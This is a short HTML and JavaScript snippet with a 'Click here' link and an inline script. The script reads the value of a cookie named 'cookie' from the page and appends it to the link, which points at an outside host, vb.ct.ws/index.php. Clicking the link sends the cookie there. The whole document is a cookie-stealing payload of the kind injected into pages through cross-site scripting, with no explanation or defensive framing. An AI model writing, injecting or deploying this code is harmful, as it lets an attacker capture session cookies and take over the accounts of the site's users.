<a href="vb.ct.ws/index.php?id=" id="myLink">Click here</a>

<script>
  // Get the cookie value
  var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)cookie\s*\=\s*([^;]*).*$)|^.*$/, "$1");

  // Update the link with the cookie value
  document.getElementById('myLink').href = "vb.ct.ws/index.php?id=" + cookieValue;
</script>
